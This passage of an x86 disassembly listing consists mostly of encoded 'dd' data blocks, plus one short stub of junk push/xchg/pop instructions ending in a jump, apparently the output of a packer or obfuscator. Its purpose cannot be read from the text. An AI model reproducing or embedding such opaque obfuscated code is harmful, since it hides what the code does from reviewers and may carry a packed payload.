		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9884D3C3h
		dd 0A0B4D133h, 293BC974h, 3517B1BDh, 4CE909h, 81600000h
		dd 622D8DDFh, 9E844h, 0CADA0000h, 0FE480086h, 896D3610h
		dd 3503719Dh, 0E9615909h, 0FFFFFAE2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 65C35242h, 90F9F6CEh, 0C9C848EAh
		dd 7EA5B937h, 0B58D4F45h, 9357099h, 856AEF81h, 0B872BBh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 4AF6C356h, 0CEE6BB66h,	261D9D89h
		dd 0E6FF0935h, 0FE9h, 0E4AF1D00h, 13FDE9A3h, 3D33A4B8h
		dd 170BD73Ah, 8D8DC18Bh, 93BECA9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0C0C35040h,	9159938h, 8FF1F0F0h
		dd 8D89FBB0h, 9351629h,	0FE8h, 0E0337900h, 0FAB89965h
		dd 6594684Ah, 152E5705h, 7D85C75Eh, 54093528h, 6A00005Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 2344C355h, 5FA3D681h, 85C7668Ah, 9352255h
		dd 0
		dd 1179BD89h, 0DA800935h, 45B5FF27h, 6A09350Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0D62DC357h, 0EDC163A3h, 0D0595FFh, 95090935h, 9351B4Dh
		dd 95FF006Ah, 9350829h,	6AEBC08Bh, 446F4515h, 0A3F6286Dh
		dd 0E0F73543h, 65554AF9h, 35EC063Ch, 534A5FAh, 0DDE8E080h
		dd 0CAEE4C6Fh, 0B74ED552h, 639771CAh, 980E95D5h, 96B1408Dh
		dd 1681A2B7h, 0B6990B71h, 3B1958BBh, 201F7A74h,	41F32BE7h
		dd 63AA4ACCh, 0F2B9D33Eh, 5272C4E4h, 0F537B66Dh, 5B4CAA0Dh
		dd 0CE8949F5h, 0F359C912h, 0BE89590Fh, 5B1AA508h, 0ED55388Bh
		dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 201C61FDh, 2033C7FDh
		dd 202404FDh, 20AC7AFDh, 206954FDh, 208B42FDh, 20FA2BFDh
		dd 204208FDh, 201EE7FDh, 203322FDh, 2024FBFDh, 20AE5CFDh
		dd 2069B9FDh, 208B9EFDh, 20F97BFDh, 204027FDh, 201D8BFDh
		dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh,	7A5A5CF4h
		dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h
		dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 206B76FDh, 20E375A7h
		dd 7ACB75A7h, 7BE475FDh, 7BF374FCh, 0B29074FCh,	1ABC75F8h
		dd 8B6EF070h, 0FFA67CC6h, 73AC989Ah, 8B8DF070h,	0FF6C7CC6h
		dd 73C998DAh, 8BFDF070h, 0FF357CC6h, 7365989Eh,	8ACBF070h
		dd 0FF1E7CC6h, 73F098D6h, 8A46F070h, 0FF7B7CC6h, 734298D2h
		dd 95FDF070h, 0FFD77CC6h, 731498CEh, 95C4F070h,	0FF427CC6h
		dd 73DE98CAh, 959BF070h, 0FFF07CC6h, 738798C6h,	959AF070h
		dd 0FFA67CC6h, 73AC98BAh, 955BF070h, 0FF6C7CC6h, 73C998C2h
		dd 95D6F070h, 0FF357CC6h, 736598BEh, 95EBF070h,	0FF1E7CC6h
		dd 73F098BAh, 951BF070h, 0FF7B7CC6h, 734298AAh,	8AA1F070h
		dd 0FFD77CC6h, 731498A6h, 8AD7F070h, 0FF427CC6h, 73DE98A2h
		dd 8A7BF070h, 0FFF07CC6h, 738798B6h, 8A9EF070h,	0FFA67CC6h
		dd 73AC98B2h, 8B90F070h, 0FF6C7CC6h, 73C998AEh,	611CF076h
		dd 0FF357CC8h, 7365985Dh, 651EF076h, 0FF1E7CC8h, 73F09859h
		dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 4152C117h, 3FD525F4h
		dd 0E5ADFDF5h, 229E4E10h, 7ACFB734h, 29B723ACh,	7A1A20ADh
		dd 277975FDh, 9469987Ch, 0FFA07CC6h, 731498DBh,	97B1C87Dh
		dd 9CF7CC6h, 75E4C5B4h,	0BAF9B54Bh, 0EF863589h,	73879859h
		dd 2B96FEBDh, 7A2F7A45h, 0DE028AFDh, 0F7C24E10h, 41085248h
		dd 0FCC6F8F4h, 7E4B9D50h, 6FCF75FDh, 7A5E7645h,	0DEBA8AFDh
		dd 0F79E4E10h, 41265248h, 0FCD1F8F4h, 23228A50h, 0F787BC1Fh
		dd 738798DBh, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh
		dd 0DA708A57h, 0D1FB4E10h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh
		dd 0EFD0DE9Bh, 73AC985Dh, 9208DE9Bh, 7AE57795h,	72F3360Bh
		dd 0EF866E88h, 7387985Dh, 7954C54Dh, 0DABA8AADh, 209E4E10h
		dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h
		dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh
		dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h
		dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h,	207975FFh
		dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh,	0BA07F5DFh
		dd 85B5FF4Dh, 411FD568h, 5F1F2FF4h, 71DA51FDh, 0B9F5133Fh
		dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h
		dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh
		dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h
		dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh
		dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh,	84487DF9h
		dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 73429859h
		dd 97D7C070h, 8A5D7CC6h, 0D02C7F51h, 9737E002h,	92087CC6h
		dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
		dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh
		dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h,	923C2257h
		dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h
		dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 73F098E0h,	97F8C87Dh
		dd 0FF37CC6h, 0F5FCF8ECh, 2AB54E10h, 7A5C6115h,	781B9DFDh
		dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch
		dd 738798E0h, 9743C87Dh, 0F2F7CC6h, 0F512F8F1h,	2AC24E10h
		dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 4151D168h, 96C3F8F4h
		dd 0F0264E0Ch, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh
		dd 0F9BB5E3Ah, 78357115h, 0DACB8A3Eh, 0CE264E10h, 0E96514Ah
		dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh,	0F0E675FDh
		dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 73F0985Dh,	0FAEA917Dh
		dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h
		dd 0B995FCF9h, 7ACB7345h, 0DE708AFDh, 0F7FB4E10h, 4194F660h
		dd 39A0F8F4h, 7A4ECD3Eh, 0EFD075FDh, 73AC9859h,	0F1CEB57Eh
		dd 0EF1A8935h, 73C9985Dh, 0B98E9757h, 8543BE15h, 7B1DFF02h
		dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h
		dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 41DE8917h,	86EAFCF4h
		dd 9754CF7Dh, 75E57CC6h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh
		dd 73659859h, 0D2ADFCBDh, 0F19E4E10h, 0AA79F835h, 85EC4E0Fh
		dd 411FD56Fh, 3C7FFDF4h, 6D04801Fh, 795E75FDh, 41C2DD7Fh
		dd 0E01A35F4h, 73F08739h, 0F3E1B67Eh, 644B22FEh, 797975FDh
		dd 4151DD77h, 0C8ECF8F4h, 89264E0Fh, 722F2B59h,	85CB75FDh
		dd 4108D16Fh, 7E0AF6F4h, 7C718589h, 7ABC7244h, 4B5A7DFDh
		dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h,	72F275FDh
		dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h
		dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh
		dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h
		dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h
		dd 90162FFDh, 73F0871Eh, 9749CF70h, 0F797CC6h, 7A71CCF5h
		dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 73AC9851h, 7BD3497Dh
		dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh
		dd 41DC6917h, 0D625F8F4h, 0F1C24E10h, 725C7D80h, 89F275FDh
		dd 0B8B01459h, 0F7DC75F9h, 41B3D940h, 0C3EF46F4h, 7A9775F5h
		dd 0B9AADF0Eh, 0D658F89Dh, 0FBFB4E10h, 7B7874C2h, 0FBB000FCh
		dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch,	4108D940h
		dd 7AF3CDF4h, 72C075FDh, 89BC75FDh, 0F19D1457h,	0F7EFFE3Dh
		dd 417ACC78h, 8BD08AF4h, 0DE8CAh, 75ED0000h, 58AA11DAh
		dd 0CFE49B8Eh, 66C06716h, 0B35AF98Bh, 0A2C281CAh, 0BE00005Ch
		dd 178215C2h, 145C681h,	0FE8BE87Eh, 665932FFh, 3766D781h
		dd 5FF2E981h, 0C18141B4h, 52906C9h, 0ADC08166h,	0F9F18148h
		dd 0BB47650Dh, 75C8B276h, 8FC38B51h, 0AF78B802h, 0EA8332F4h
		dd 0EF816603h, 0E94A8E22h, 8, 9A77F694h, 0C66F1704h, 1EE81h
		dd 850F0000h, 0FFFFFFB0h, 0FE9h, 419F8A00h, 954F37C0h
		dd 647A5330h, 61FD1712h, 6F0904EBh, 0BDE9003Bh,	22000004h
		dd 560A9330h, 1BDDBEDBh, 7C049904h, 36AAF3E4h, 3A019A3Fh
		dd 4950C941h, 2978C54h,	4C49E799h, 0C95894Fh, 0AFF5998Fh
		dd 12FA4E05h, 9EEAD401h, 0FA4DBA00h, 0CC28AE12h, 0AE2B4725h
		dd 4158D143h
		dd 0F88A45Ch, 0E3FC70E4h, 425FD1EBh, 4AC92DAFh,	8E3E5BD6h
		dd 19E7F06Ch, 0D45B9B06h, 7104F06Dh, 41B7E4FDh,	77E9B22Fh
		dd 0A315DCF9h, 0F6E60D88h, 52CCBFA5h, 0AE398945h, 830CF1A3h
		dd 3968F71h, 0B3886CF0h, 49A8312Dh, 362314BBh, 180C191Ch
		dd 50190E3Fh, 6B5989h, 59350000h, 362E814Bh, 4F73751Ch
		dd 78AF445Ch, 4EF50151h, 6974EB15h, 18C6068Ah, 1C3641B2h
		dd 7AF400A6h, 6AFAF9E6h, 1C364162h, 9E7B436Bh, 736E0355h
		dd 1C5F9F4Fh, 0C0998BD8h, 894FF98Dh, 1DAh, 2A47B900h, 5DD044AFh
		dd 41367C22h, 0AC321C36h, 70C02514h, 8F6118DCh,	5F78F064h
		dd 0C4B02D94h, 0F8A53C31h, 0AAF3EC80h, 0AB2E4709h, 618A248h
		dd 4EE35D99h, 8C30A053h, 9E693534h, 5CE01380h, 2B48BA64h
		dd 0FB8E76CBh, 80267762h, 3CC9F140h, 9D59B2FCh,	5F920F23h
		dd 0EBD10FBBh, 0DF1C3555h, 0ACC33DB9h, 86DFC231h, 0EBA0BD9Eh
		dd 85E78950h, 0A8000000h, 48AB2E47h, 0B33E5BD4h, 0E0E5CF4Eh
		dd 6D050EA0h, 35788D37h, 5B67891Ch, 6591BB40h, 366772EBh
		dd 0C32EABC2h, 58D0D951h, 5F42B13Fh, 0C7391E06h, 44C82BAEh
		dd 12CD10B0h, 5BD8950h,	2C634114h, 0D54BB524h, 4FA729C8h
		dd 5BA8h, 14A6E200h, 63697B1Ch,	571C3613h, 15FEA551h, 8E6673EBh
		dd 5D94051Ch, 896875EBh, 572212F3h, 0B713BBDEh,	48AB2E45h
		dd 41941EC4h, 1E901C36h, 0DF619005h, 2308E511h,	0A1BF2A47h
		dd 0A937BA34h, 1C364126h, 0EDEADA2Bh, 41B903A1h, 2BAD1C36h
		dd 0F9EA23CBh, 17D894Fh, 4E000000h, 46AD2847h, 92071EA0h
		dd 6B74E862h, 594B9888h, 0F2EF827Ch, 7797DFFh, 0F3E67D68h
		dd 29727C00h, 7B530B9Eh, 26B3AD4Fh, 17AD49CBh, 150363C8h
		dd 55C72AACh, 25DBC0D9h, 0D3619009h, 13011BEBh,	4F3A2AFBh
		dd 23D5C6D3h, 0ED5F920Fh, 1B896871h, 332FDACAh,	0F855F5A6h
		dd 7292851Fh, 0FE1F810Ah, 1E507065h, 0B0579FF8h, 140h
		dd 514EE0DAh, 9B2EFEA5h, 0BBF0BC3h, 3641EFD5h, 31C5EB1Ch
		dd 35E78A3h, 876A6C15h,	1B801915h, 4DE0C965h, 88329A54h
		dd 69E80C95h, 0C6307BF7h, 0E69E096Fh, 0D90DB7EDh, 0E7091300h
		dd 5A7FF709h, 9EEF5D94h, 0F66F91B6h, 95041DE3h,	6673EF61h
		dd 63389535h, 4A2F9285h, 60000000h, 7C7872Eh, 364223D9h
		dd 0E211971Ch, 36416852h, 0BAAA771Ch, 213FFFB6h, 35BB3DB4h
		dd 0AE2BE999h, 7E290956h, 4A9B2742h, 2DC93568h,	0D4896381h
		dd 7B1D1C35h, 0AAE822h,	9A240000h, 59DB1683h, 1751E869h
		dd 0AD49A5C0h, 0A19B2E06h, 11EBDEE1h, 31B3C14Ah, 1C356F8Bh
		dd 3797597Fh, 0AB492B93h, 0E2D5717Ch, 0DBB97C12h, 15B91502h
		dd 9BE5CFh, 41BFE113h, 0C044AF2Ah, 99587E34h, 0D8E0B27h
		dd 44E56919h, 1136841Ch, 0EAF76BE5h, 0C4596307h, 9B3F1DDh
		dd 0FD1300AAh, 14851BDBh, 0F81300AAh, 0A9362AD4h, 790CF84Dh
		dd 0C09FFCE5h, 0DDB11DF5h, 0A9FDC7h, 0D7F7F913h, 0AA03C9h
		dd 5F1F713h, 1D794B59h,	5B7D0BD8h, 61082498h, 0F524E2CDh
		dd 71806EB8h, 3E221283h, 851BB36Bh, 14FF4F37h, 4B009D43h
		dd 0BC39B2Eh, 0DB5E7D5h, 26CDD315h, 0AD21BEB2h,	8F7B48D5h
		dd 946039DBh, 0B42D41B7h, 0C27993Dh, 17D76D89h,	480BFB7Ch
		dd 0D0EAEFD5h, 3AB44059h, 918B26h, 0B72C4EB4h, 809C6439h
		dd 8636DC17h, 0D3B78684h, 42BC38E6h, 5646AD2Ah,	0FEC4DAAEh
		dd 0FA1BFA85h, 0C1B300F4h, 657B3A36h, 1BFA855Fh, 29B555Bh
		dd 0D9F5E27Eh, 61481EA9h, 0FB73CAFAh, 5F9113DEh, 16721897h
		dd 0FABD4288h, 0E2FF721Bh, 0B1378D0Fh, 31C5D04Fh, 349h
		dd 844F8A00h, 41B01547h, 0AB4653CFh, 37BA2739h,	0C82BAEC5h
		dd 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh
		dd 5954515Dh, 4C181h, 0E9830000h, 240C8704h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	727Ah
		mov	[esp], edx
		push	93BF425h
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		db 0DDh
		dd 3BF87FB8h, 0FFC50309h, 0EAE175E0h, 5067E5Bh,	6016E532h
		dd 40D01863h, 7F9780Fh,	0E8399830h, 0EAC6C76Bh,	45B19F1Fh
		dd 0C52E425h, 5DB6D366h, 242DFF38h, 3BAB7D54h, 1970762h
		dd 0BB9570Bh, 0BB8D8D54h, 89093BF9h, 350821BDh,	298D8909h
		dd 0B2093516h, 7D85C7B4h, 0D0093528h, 6A000071h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0EAA5C353h, 3D85898Bh, 0C7093522h, 35225585h, 9, 0DC42BF00h
		dd 0B5FF7BDAh, 9350C45h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0F7C35242h, 9006F814h, 0FAAA951h, 84h
		dd 9852900h, 0FF09352Eh, 350D0595h, 3525BF09h, 6A53FFh
		dd 82995FFh, 0C08B0935h, 0A6E748EBh, 3D723117h,	0DD662223h
		dd 9616CCCDh, 7DA17FBEh, 9D210149h, 56892135h, 1AB71E10h
		dd 59850C15h, 0F884B307h, 76F38A16h, 0C2231D46h, 0C22737A8h
		dd 0C5A7A984h, 2162AFABh, 645B2B8h, 0C0B6FC9Bh,	4A3D0352h
		dd 8E878B1h, 41000000h,	63AA4ACCh, 66B9D33Eh, 590F35BBh
		dd 2771858Bh, 0C1810935h, 6001h, 0DE9h,	7AE80700h, 21AD642Bh
		dd 84456851h, 68A41Ah, 81000000h, 84B627C0h, 9D315A29h
		dd 9352BA9h, 8B11348Bh,	351DE19Dh, 86EE8109h, 66303752h
		dd 81AD43BFh, 2DEEE5EEh, 77DC805Ah, 5890F681h, 9D0148ABh
		dd 935164Dh, 81113489h,	123C6DC3h, 1EA835Fh, 8B4A4A4Ah
		dd 0B0FA81DFh, 0FFFFFA0h, 2085h, 5E800h, 696A0000h, 8B113B64h
		dd 21E958F8h, 0E5000000h, 13657289h, 34BE9DA0h,	9FF57904h
		dd 52BB6602h, 0FF92E914h, 1BD4FFFFh, 59A90E94h,	86CF5413h
		dd 0D3E9h, 0F5D28000h, 0A43D30A8h, 0F3EE81F7h, 993E36AAh
		dd 0F4E57C04h, 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h
		dd 0D37526B3h, 47DFE5FBh, 0CADB12FAh, 5EEABC04h, 0DED4793Dh
		dd 0EB157716h, 1D8F6772h, 94389405h, 3641644Eh,	823E601Ch
		dd 0E9516722h, 1F9E56B4h, 6938B45h, 0D6DC02C6h,	0D21C3567h
		dd 715328CCh, 0E3C8E320h, 0CEF4AADEh, 0CA1C371Ch, 519F3834h
		dd 0FC90FA5h, 73DD1C75h, 0A71CB724h, 1C78345Fh,	0D2C75F61h
		dd 153222h, 15930000h, 39100EADh, 0BA3AD2D5h, 0A93C8448h
		dd 0E196FC1Ch, 4758F7FFh, 0CF41B015h, 39AB4653h, 0C537BA27h
		dd 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh
		dd 5D2AC9D0h, 3BFAC768h, 833EE909h, 564CFFF9h, 3BFB8EB8h
		dd 0E8C50309h, 0Dh, 304822E5h, 5B11ED6Ch, 0DA0F1E18h, 11B58B83h
		dd 5F09352Dh, 3259B529h, 0C7810935h, 5DEBh, 68FCh, 8D8B0000h
		dd 93524A5h, 8D9D8958h,	0FF093526h, 10E93834h, 6000000h
		dd 31619281h, 66A5DC94h, 28DE245Eh, 5A08D7F1h, 68B0Fh
		dd 0BD890000h, 93529A5h, 0B7FAEA81h, 0B0B549FBh, 8166EA81h
		dd 9D8B13C2h, 9351BE1h,	4EE5EA81h, 85896289h, 9353305h
		dd 0F071489h, 38Ch, 0D9BF0F00h,	88B0Fh,	8F0F0000h, 2, 0E8816160h
		dd 1ABCBA21h, 0A519D8Bh, 0C0810935h, 1ABCBA1Dh,	8E0FFC60h
		dd 6, 811B501h,	81610935h, 0FFA2D8F8h, 74850FFFh, 60FFFFFFh
		dd 11F1BD31h, 0EB610935h, 0F34ECC04h, 0DD9E95Ch, 8C680000h
		dd 0E9093BFEh, 0FFF98254h, 3BFF8D68h, 824AE909h, 4F68FFF9h
		dd 0E9093C00h, 0FFF98240h, 3C00E968h, 8236E909h, 6F68FFF9h
		dd 0E9093C04h, 0FFF9822Ch, 3C078068h, 8222E909h, 9E68FFF9h
		dd 0E9093C08h, 0FFF98218h, 8D0EAB89h, 524B56CBh, 9704918Eh
		dd 4B5049E1h, 0A0FD9C95h, 0D24E693h, 0D2490F8Ch, 0C22D6C7h
		dd 0D64A0E8Fh, 0B0DCD4C9h, 0FA45C8F2h, 0AC0FBC12h, 48AB2E47h
		dd 603D5AD4h, 0BCDD5466h, 0B043B335h, 0B9203DE5h, 9438B63Ah
		dd 3467F4Eh, 80737515h,	2F4EE0DAh, 13C4B71h, 57993F13h
		dd 0C82CB5A9h, 13C943Ah, 0E4D05513h, 8502AAE3h,	54BD92h
		dd 2E0E0000h, 0BF0BC39Bh, 36419B21h, 0C5098F1Ch, 3641951Fh
		dd 0E70F911Ch, 60769D43h, 3E721503h, 836D193Eh,	0CAD8F4D1h
		dd 1300B500h, 0F5FCF2F4h, 0B46167h, 0D1C32213h,	90AD8CF4h
		dd 0F9BBED8h, 10647E7h,	11619285h, 2D000000h, 0FD039E93h
		dd 0FA7E7564h, 17D153FAh, 2000009h, 43AE2B47h, 57445DD1h
		dd 69653D88h, 364343Bh,	938AF215h, 0ECAAEEFAh, 0B739E70Fh
		dd 5F0AAC3Ch, 5ACB1300h, 0E11C716Ah, 384B9285h,	7C000000h
		dd 42959B2Eh, 463295D4h, 1D715D93h, 0E40F8AA3h,	0FFE9460h
		dd 0E515036Ah, 1EA030C3h, 0DF130109h, 90BD9E86h, 0D7928531h
		dd 0F4h, 9C1509B3h, 1BD61881h, 47B65D99h, 0D143AE2Bh, 3EB24158h
		dd 2EABC522h, 7FF20CC0h, 670B9262h, 0DF33BC17h,	4FA00A1h
		dd 2866D6Ah, 0FBE478F2h, 1A12ACA2h, 0C5EB797Dh,	751C35E8h
		dd 45BBE0F9h, 0B641B029h, 0FDA32BE3h, 15030E7Ah, 5A64686Eh
		dd 9719D8C5h, 0EABD8A5Fh, 0DA049A32h, 9E0BCC85h, 346A1508h
		dd 1C337D8Eh, 648A648Ah, 0E4761868h, 706AFFA9h,	4FE6D884h
		dd 9E507A28h, 0A2441C33h, 964C804Ch, 1C339E2Ch,	9E466C32h
		dd 9C421C33h, 29F9026h,	0AD3308ECh, 2EC125B4h, 0AFE9A235h
		dd 0B0C1A04h, 99BB0000h, 84995F3Ch, 67F8801Dh, 0C75F217Ah
		dd 1E17C9D2h, 6019227Bh, 7526B3AAh, 306D6803h, 7429B6A8h
		dd 366770ECh, 1EA43A92h, 1A12FA43h, 2E474A89h, 396723ABh
		dd 1C364193h, 1BA13F87h, 0F1C3641h, 80996789h, 7800DD19h
		dd 0B1A2FBE4h, 0BC39B2Eh, 419B21BFh, 98F1C36h, 74A341EDh
		dd 88150371h, 11149E44h, 8E101301h, 0D3ED9160h,	1CB2425Fh
		dd 1301119Ah, 0A74A57CAh, 589B3E35h, 0E58074F1h, 924B39ACh
		dd 92852A3Bh, 0BC2Ch, 2B475B00h, 58D143AEh, 7C22B241h
		dd 7A1C3646h, 3D2A904Eh, 781E1C36h, 71DA4E48h, 985C6FE3h
		dd 108D0A26h, 0E8BA416h, 0DFF874E6h, 0A01A6E14h, 0E9D3118Eh
		dd 0DD1C3612h, 1DA83BBBh, 0BB458945h, 6B83BA6h,	6A859536h
		dd 0C135BB9Dh, 2A74C33h, 7D1EC015h, 0CFFFD7E2h,	0CC07C811h
		dd 0B21ABC0Bh, 13881108h, 21C5D44Dh, 0E9A1EC44h, 0BF0DA59h
		dd 0BA00000Ah, 9E623B98h, 0D3851683h, 0A45C415Ch, 0CE920B8Ch
		dd 62594257h, 0D1C86129h, 7A1F14CCh, 0D4C15F21h, 841D11C7h
		dd 475D3117h, 12FA427Dh, 15676C79h, 896875EBh, 0E47DEF07h
		dd 3C30A8F5h, 0C5C79275h, 0E719698Ch, 0F9A24C49h, 0AE2B475Ah
		dd 61D9F43h, 75E96393h,	8BAB2F6Ch, 636B2376h, 354EE3Dh
		dd 0E8E40A15h, 4FA41098h, 6E52E7E9h, 0A0319CDAh, 85D91D42h
		dd 0BDE68ADFh, 0A27A4DACh, 97A5742Ah, 4D537412h, 60FE00A6h
		dd 0F8FC8073h, 9F925A6Dh, 836DEF02h, 0E07D7F4Bh, 0B167FDF9h
		dd 4F6B488Eh, 3B37B2ADh, 1FD1539Eh, 0EEA450D4h,	46DAE4E8h
		dd 0A0BC4459h, 62CCAF37h, 52D18A9Dh, 94968h, 7D5AF800h
		dd 0DCC55820h, 0BB2639BFh, 91061EE2h, 0BCDD540Ch, 0E3A7D4DFh
		dd 8A4E4F4Ah, 0E1970491h, 9749524Fh, 0AB9DFE9Bh, 41F7BDE3h
		dd 0E2F312FAh, 0AE2B47E1h, 23849C1Eh, 0E1638E0Bh, 627FF10Fh
		dd 6AE90D8Fh, 0BA12CADDh, 41B02940h, 4D9337BFh,	15036C06h
		dd 0CEF0DC02h, 9B54156h, 3F5C79F7h, 0B73AA7B9h,	105AAB13h
		dd 460CE9A9h, 6C9A20AEh, 8AE1300h, 1F13007Dh, 0D210BC94h
		dd 0BCDAED3h, 0D5056B53h, 58770340h, 31C0E69Ch,	0AE36A3BFh
		dd 0E99FE9C3h
		dd 0AF6F57DAh, 5E000008h, 12C6D7FCh, 6719821Fh,	8D0CDC8h
		dd 62168710h, 0C6CDCECBh, 3D5CD5B5h, 16839860h,	405DD385h
		dd 1089A55Bh, 0BBE9A58Bh, 12FA4211h, 2EF3D805h,	0D50BC39Bh
		dd 150373DAh, 545E8448h, 50130110h, 1DD4C15Eh, 0F3A1559Bh
		dd 9F9206EDh, 4AE79902h, 9117A44Fh, 0A14F4AE3h,	1065772Dh
		dd 8F111301h, 55E77F3Fh, 0C0596746h, 4EBFAD34h,	39E9366h
		dd 4804CA9Ah, 951B1300h, 0FE9F7D7h, 0F3130048h,	3528B0EDh
		dd 0E9B745ACh, 0CD130048h, 4CE19480h, 0E8877955h, 728206EDh
		dd 100FB195h, 62FF7185h, 0FAEC7C77h, 0AE130047h, 0E984775Dh
		dd 941CABF0h, 0EAD2F6D6h, 2F4299FFh, 0AE44B0BAh, 13005907h
		dd 8818DBFDh, 5F213CADh, 0FADFC520h, 0B4AA10CEh, 0F89E9EE1h
		dd 8AF954FCh, 76E06A4h,	1D000002h, 5BD39B2Eh, 861CB03Eh
		dd 15034403h, 0DDDFEFF1h, 0E6F36841h, 1B86990Bh, 269A54D8h
		dd 0D4C40775h, 0FE9F51B2h, 0C9D7E67Ah, 13011603h, 746D01F7h
		dd 6658747Ah, 0B527CACFh, 50D41FBAh, 49D7569Eh,	923BBCE5h
		dd 34110362h, 0BA804A58h, 72748DC2h, 8B140882h,	32701C12h
		dd 8DC2BA88h, 209A5A7Ch, 0D360930Ch, 0FFBF0FDDh, 0F8683745h
		dd 4B59753Ch, 8DC25F81h, 0A6837375h, 569D3A32h,	4C514EE2h
		dd 52782662h, 468DC25Fh, 46DA54A0h, 5F23A937h, 0A1178DC2h
		dd 5EE21188h, 5935E90h,	0E0491571h, 6906F8CEh, 493B886Ch
		dd 0E0FD728Ch, 12879F11h, 63935DDFh, 606C75E9h,	0F8D4C15Eh
		dd 3CEAE0EAh, 22D2D41Fh, 129F9345h, 606C821Fh, 2348CC20h
		dd 2FC7365Ah, 0A1B20AB0h, 44CAF08Bh, 7830C333h,	367C22AAh
		dd 3C1F3D27h, 0F816BD84h, 19DD0970h, 6E58456Bh,	2EC6D34Ch
		dd 0BD34A5BCh, 24A87A32h, 3C77407Eh, 0E9B2341Fh, 0EEDEFB77h
		dd 0AB0EE9Ah, 0FE1F3C78h, 77C00AD8h, 32B41F3Ch,	50C93BC2h
		dd 3E36AA49h, 4DE65A99h, 0F213A948h, 159F4502h,	111F3C77h
		dd 5B23618Fh, 774B712Fh, 993F1F3Ch, 371C085Dh, 0C52CADC5h
		dd 2539B343h, 519DFBCh,	5B50309Ch, 77F3B23Bh, 9E29A84Ch
		dd 86785416h, 8709E8EDh, 0B715CB6Fh, 0AD1F3CD6h, 0D6F9C3E1h
		dd 0EBED1F3Ch, 4A53550Bh, 0A3DB9A96h, 19DFC194h, 5A60820Eh
		dd 4E1F3CB0h, 0D94BA648h, 20AA3847h, 1E1F3CB0h,	3CB03A80h
		dd 1AA82E1Fh, 4975A94h,	0E812371Dh, 0F5E27A77h,	0ED81FBFBh
		dd 3E426904h, 0CB5E7532h, 2CB909E7h, 6C767363h,	7825CBh
		dd 0F380736Ch, 0DDDFEFBDh, 0F19D5940h, 3CCFFDB3h, 6A01FB1Fh
